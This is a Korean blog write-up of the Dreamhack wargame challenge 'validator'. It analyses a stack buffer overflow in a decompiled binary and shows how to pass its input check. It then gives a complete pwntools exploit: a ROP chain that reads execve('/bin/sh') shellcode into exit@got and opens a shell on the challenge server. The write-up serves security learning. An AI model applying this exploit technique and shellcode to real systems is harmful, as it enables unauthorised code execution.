소스코드 분석 & 보호기법 확인
__int64 __fastcall main(int a1, char **a2, char **a3) { char s[128]; // [rsp+0h] [rbp-80h] BYREF memset(s, 0, 0x10uLL); read(0, s, 0x400uLL); sub_400580((__int64)s, 0x80uLL); return 0LL; }
buffer에 사용자의 입력을 받고,
이것이 sub_400580()를 통과하면 프로그램은 정상 종료된다.
__int64 __fastcall sub_400580(__int64 a1, unsigned __int64 a2) { unsigned int i; // [rsp+1Ch] [rbp-4h] int j; // [rsp+1Ch] [rbp-4h] for ( i = 0; i <= 9; ++i ) { if ( *(_BYTE *)((int)i + a1) != aDreamhack[i] ) exit(0); } for ( j = 11; a2 > j; ++j ) { if ( *(char *)(j + a1) != *(char *)(j + 1LL + a1) + 1 ) exit(0); } return 0LL; }

buffer overflow와 RAO, shellcode가 가능해 보인다.
Exploit 계획
main 함수의 Return address를 조작하여 shellcode가 실행되도록 하기
1. sub_400580()를 통과해야 함
sub_400580 함수를 분석해보자.
1-1. 입력 string의 0~9번째 글자가 aDreamhack array의 0~9번째와 같음 <====> 통과

DREAMHACK!이어야 함
1-2. 입력 string의 11~128번째 글자는, 현재 글자 byte == 다음 글자 byte + 1 <====> 통과
2. shellcode를 넣을 만한 위치를 찾아야 함
매 실행마다 shellcode가 있는 위치를 확실히 실행할 수 있어야 한다.
=> 만약 매 실행마다 공격자가 실행시킬 수 있는 GOT 함수 위치에 shellcode를 삽입하면,
매 실행마다 안정적으로 shellcode가 실행될 수 있다.
=> 따라서 shellcode를 GOT에 overwrite할 것이며, 그중 아래 symbol 탐색 결과에 따라 exit 함수를 선택하였다.

3. shellcode를 실제로 넣고, 이 주소로 실행흐름을 조작해야 함
만약 바이너리 측에서 read(0, exit@got, shellcode_length)가 실행될 수만 있다면,
공격자 입력이 GOT의 exit 함수 위치에 overwrite 되므로,
그 이후 exit@got이 실행되면 실제로는 shellcode가 실행된다.
=> 이는 ROP로써 가능하다!
3-1. ROP Gadget을 넣을 위치를 찾자
입력 받는 buffer ~ Return Address 위치는, 아래 disass 결과에 따르면 buffer는 rbp-0x80 위치이므로,
(rbp + 0x8) - (rbp - 0x80) = 0x88바이트이므로,
buf 주소 + 0x88 위치에 ROP 가젯을 넣자.

이때 1.에 필요한 payload 길이가 129바이트이므로,
dummy는 (0x88 - 129)바이트이면 된다.
3-2. 실제 가젯이 있는지 보자.

필요한 Gadget들(pop rdi; ret, pop rsi;ret, pop rdx; ret)이 있다.
Exploit 결과
from pwn import * p = remote('host1.dreamhack.games', 20512) e = ELF('./validator_server') # shellcode = b'\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x31\xc0\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05' # def generate_sub_400580_bytes(): bytes0_9 = "DREAMHACK!" bytes11_128 = ''.join(chr(127 - i) for i in range(118)) final_string = bytes0_9 + " " + bytes11_128 final_bytes = final_string.encode() return final_bytes payload = generate_sub_400580_bytes() # RA까지 채우기 위한 dummy payload += b'A' * (0x88 - 129) # ROP Gadget 구성: RDI, RSI, RDX pop_rdi_ret = 0x00000000004006f3 pop_rsi_pop_r15_ret = 0x00000000004006f1 exit_got = e.got['exit'] pop_rdx_ret = 0x000000000040057b read_plt = e.plt['read'] payload += p64(pop_rdi_ret) + p64(0) payload += p64(pop_rsi_pop_r15_ret) + p64(exit_got) + p64(0) payload += p64(pop_rdx_ret) + p64(len(shellcode)) payload += p64(read_plt) payload += p64(exit_got) # p.send(payload) # => 피해자는 read(0, exit@got, shellcode_length)을 호출하고 공격자 입력을 기다림 p.send(shellcode) # => 위 read()의 입력으로 전달됨 p.interactive()

'보안 > Wargame' 카테고리의 다른 글
[System Hacking] cmd_center (0) | 2025.03.13 |
---|---|
[System Hacking] sint (0) | 2025.03.13 |
[System Hacking] tcache_dup2 (0) | 2025.03.10 |
[System Hacking] tcache_dup (0) | 2025.03.07 |
[System Hacking] Tcache Poisoning (0) | 2025.02.13 |